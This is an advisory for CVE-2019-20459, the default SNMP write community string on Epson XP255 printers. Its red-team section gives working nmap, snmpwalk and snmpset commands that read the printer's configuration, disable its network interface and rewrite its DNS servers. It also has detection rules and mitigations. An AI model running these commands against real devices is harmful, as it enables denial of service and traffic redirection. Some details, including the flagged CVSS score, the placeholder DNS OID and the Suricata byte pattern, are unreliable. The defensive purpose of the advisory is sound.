CVE-2019-20459

Executive Summary

CVE-2019-20459 affects Epson Expression Home XP255 printers (firmware 20.08.FM10I8). The vulnerability stems from insecure SNMPv1 community strings: the “public” community allows read access to all device values, and the “epson” community permits write access to all changeable parameters. An unauthenticated attacker on the same network can exploit this to permanently disable the network card, alter DNS servers, or exfiltrate sensitive configuration data. No patch has been released by Epson, making this a permanent risk for affected devices.

Supply Chain & Package Security

Not applicable (hardware/firmware vulnerability, not a software package).

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – likely mis-scored; actual impact is high.
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (adjacent)
• Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality: High
• Integrity: High
• Availability: High
• Threat Level: Critical (due to permanent denial of service and full configuration takeover)

Deep Dive & Mechanics

The Epson Expression Home XP255 printer runs SNMPv1 with two default community strings:

• public: Read-only access to all OIDs.
• epson: Read-write access to all OIDs.

SNMPv1 lacks encryption and authentication, so any device on the same Layer 2 network can send SNMP GET/SET requests. An attacker can:

1. Read all device configuration (network settings, firmware version, etc.) using the public community.
2. Write arbitrary values using the epson community, e.g., set ifAdminStatus to down(2) to disable the network interface permanently, or modify DNS server OIDs to redirect traffic.

The vulnerability is trivial to exploit with tools like snmpwalk and snmpset. No authentication bypass is needed—the community strings are hardcoded and well-known.

Vulnerable vs. Patched Code

No patch exists. The vulnerable firmware (20.08.FM10I8) is the only known version. Epson has not released a patched firmware, so all devices remain vulnerable.

Exploitation & Lab Setup

Red Team

Prerequisites: Attacker must be on the same network segment as the printer (e.g., Wi-Fi or Ethernet). No credentials required.

Step 1: Discovery
Scan for SNMP-enabled devices:

nmap -sU -p 161 --script snmp-info 192.168.1.0/24

Step 2: Read Configuration
Use public community to dump all values:

snmpwalk -v1 -c public 192.168.1.100 .1.3.6.1.2.1

Step 3: Disable Network Card
Set ifAdminStatus to down(2) for interface 1:

snmpset -v1 -c epson 192.168.1.100 .1.3.6.1.2.1.2.2.1.7.1 i 2

Step 4: Change DNS Servers
Modify DNS server OID (example OID, actual may vary):

snmpset -v1 -c epson 192.168.1.100 .1.3.6.1.4.1.11.2.3.9.1.1.13.0 s "8.8.8.8"

Step 5: Permanent Denial of Service
Set sysContact to a malicious value or disable all interfaces.

Blue Team

Detection: Monitor SNMP traffic for unusual SET requests from unknown IPs. Alert on community strings public or epson being used for write operations.

Honeypot: Deploy a fake Epson printer with SNMP enabled to capture attacker activity.

Mitigation: Block SNMP (UDP 161) at network boundaries. Use VLAN segmentation to isolate printers.

Indicators of Compromise (IOCs)

• Network: SNMP SET requests to UDP port 161 with community string epson.
• Device: ifAdminStatus set to down(2) for all interfaces.
• Logs: Printer syslog entries showing SNMP write operations from unexpected IPs.
• Configuration: DNS server values changed to unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2019_20459_SNMP_Exploit {
    meta:
        description = "Detects SNMP SET requests targeting Epson printers with epson community"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $snmp_set = { 30 ?? 02 01 01 04 06 65 70 73 6f 6e }  // SNMPv1 SET with "epson"
        $ifAdminStatus = { 06 08 2b 06 01 02 01 02 02 01 07 }  // OID for ifAdminStatus
    condition:
        $snmp_set and $ifAdminStatus
}

Sigma Rule

title: SNMP Write Access to Epson Printer
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SNMP SET requests using the epson community string
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 161
        community: "epson"
        pdu_type: "SET"
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert udp any any -> any 161 (msg:"CVE-2019-20459 Epson SNMP Write Attempt"; content:"|30 02 01 01 04 06 65 70 73 6f 6e|"; sid:1000001; rev:1;)

Remediation & Mitigation

1. No patch available: Replace the device or disable SNMP entirely.
2. Network segmentation: Place printers on an isolated VLAN with strict ACLs.
3. Disable SNMP: If possible, disable SNMPv1 via the printer’s web interface or physical menu.
4. Change community strings: If SNMP is required, change both public and epson to strong, unique strings.
5. Monitor: Deploy SNMP anomaly detection (e.g., using the Sigma/Suricata rules above).
6. Firewall: Block UDP port 161 from untrusted networks.

Valters IT